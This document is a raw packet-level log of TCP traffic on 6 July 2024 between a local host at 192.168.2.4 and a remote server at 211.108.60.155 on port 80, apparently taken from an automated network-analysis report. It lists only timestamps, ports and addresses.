Jul 6, 2024 14:10:04.010380030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010411978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.010432959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010442972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010462999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.010478973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.010626078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010651112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010662079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010667086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.010679007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.010689020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.010981083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011004925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011013985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011019945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011030912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011044979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011106968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011116982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011126041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011142969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011163950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011328936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011363983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011377096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011385918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011413097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011429071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011440039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011471987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011497021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011538029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011713028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011723042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011730909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.011754990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.011778116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.012104988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.012114048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.012121916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.012135029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.012149096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.012160063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.012176991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.012214899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.012238026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.012249947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.012253046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.012260914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.012284040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.012329102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.012372971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.012438059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.012476921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.203596115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.203613043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.203627110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.203660965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.203691006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.203692913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.203700066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.203715086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.203723907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.203732014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.203752995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.204237938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204279900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204288006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204391956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.204412937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204421997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204432011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204442024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204453945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.204467058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.204492092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204498053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.204524994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.204797029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204835892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204843998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.204845905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204868078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.204890013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.204900026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.204933882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.205157042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205166101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205176115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205189943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205212116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.205221891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.205615044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205655098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.205662966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205672979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205698013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.205735922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205745935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205780983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.205913067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205959082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.205960035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205970049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.205991030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.206309080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.206348896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.206353903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.206357956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.206378937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.206388950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.206644058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.206653118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.206688881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.206851959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.206895113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.206914902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.206924915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.206943035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.206957102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207011938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207022905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207031965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207058907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207072020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207218885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207262993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207281113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207315922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207669973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207729101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207729101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207741022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207760096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207775116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207778931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207791090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.207806110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207813978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.207992077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208038092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.208050013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208060026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208085060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.208113909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208146095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.208681107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208723068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.208745956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208755016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208776951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.208787918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208790064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.208796978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208806038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.208823919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.208848000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.398461103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398485899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398494959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398545027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.398580074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398581982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.398590088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398600101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398611069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.398639917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.398711920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398720980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398736000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398741961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.398745060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398763895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.398787975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.398957968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.398994923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.398998022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399008036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399032116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399063110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399096012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399178028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399214029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399266005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399300098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399420023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399430037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399437904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399462938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399485111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399487019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399516106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399533033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399564981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399785995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399823904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399837971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399847031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399864912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399877071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.399893999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399903059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.399929047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.400057077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.400074959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.400084019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.400099039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.400109053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.401334047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401377916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.401386976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401396990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401421070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.401479959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401489973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401509047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.401536942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.401621103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401631117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401639938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401648998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401658058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.401660919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.401683092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.401700974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402496099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402506113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402514935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402524948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402534008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402539015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402542114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402550936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402561903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402565002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402570009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402574062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402581930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402612925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402633905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402647018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402656078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402668953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402677059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402686119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402688026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402694941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402704000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402707100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402713060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.402725935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.402746916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.403292894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403302908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403315067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403325081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403333902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403337955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.403342962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403343916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.403351068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403359890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403374910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.403393030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403393984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.403403044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.403424978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593008041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593043089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593056917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593069077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593077898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593096018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593135118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593154907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593163013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593189001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593229055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593259096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593265057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593295097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593395948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593415022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593429089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593452930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593453884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593482971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593496084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593525887 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593691111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593730927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593740940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593750000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593770027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593780994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593848944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593883991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593945026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593959093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593967915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.593988895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.593997955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594064951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594096899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594172001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594180107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594189882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594207048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594219923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594345093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594373941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594383001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594410896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594707012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594728947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594737053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594746113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594767094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594767094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594820023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594829082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594851971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594861984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594893932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594902039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594928026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.594930887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.594961882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595057964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595067024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595076084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595097065 CEST	49732	80	192.168.2.4	211.108.60.155
